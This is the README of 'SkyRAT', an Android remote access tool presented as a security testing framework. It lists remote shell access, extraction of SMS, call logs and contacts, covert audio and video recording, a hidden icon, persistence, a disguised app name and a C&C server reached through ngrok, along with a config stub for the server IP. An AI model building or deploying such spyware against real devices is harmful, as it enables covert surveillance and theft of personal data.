SkyRAT is a comprehensive Android security testing framework designed for authorized penetration testing and security research. This tool helps security professionals assess Android device security by providing remote access and control capabilities.
⚠️ IMPORTANT: This tool is intended for authorized security testing only. Use only on devices you own or have explicit permission to test.
- Remote Command Execution: Full shell access to Android devices
- File System Operations: Upload, download, and manipulate files
- Data Extraction: Access SMS, call logs, contacts, and media files
- Audio/Video Recording: Capture audio and video remotely
- System Information: Comprehensive device and system details
- Network Operations: Ping, netstat, and connectivity testing
- Source-based Building: Build APKs from Kotlin source code
- Ngrok Integration: External access through secure tunnels
- Stealth Mode: Hidden app icon and background operation
- Persistence: Multiple mechanisms for maintaining access
- Cross-Platform Server: Python-based C&C server
- Python 3.7 or higher
- pip3 for package management
- Java Development Kit (JDK) 8 or higher
- Android SDK command line tools (for building APKs)
- Gradle (included via wrapper)
- Ngrok account (for external tunnels)
- Android device or emulator for testing

Edit android/app/src/main/java/com/techsky/skyrat/Config.kt:
object Config {
const val IP = "YOUR_SERVER_IP"
const val PORT = "YOUR_SERVER_PORT"
const val ICON = true // true = hidden, false = visible
}Modify android/app/build.gradle.kts for:
- App name and package
- Target SDK version
- Permissions
- Signing configuration
The APK requests extensive permissions for testing purposes:
- Camera and microphone access
- Storage read/write
- SMS and call log access
- Contacts access
- Location access
- Phone state access
- All communication is over TCP (not encrypted by default)
- Consider using VPN or secure tunnels for sensitive testing
- Ngrok provides HTTPS tunneling for external access
- Hidden app icon (configurable)
- Background service operation
- Minimal UI presence
- Legitimate-looking app name
- Isolated test network
- Dedicated test devices
- Virtual machines for server
- Documentation of all testing activities
- Obtain written authorization before testing
- Test only on owned or authorized devices
- Follow responsible disclosure practices
- Comply with local cybersecurity laws
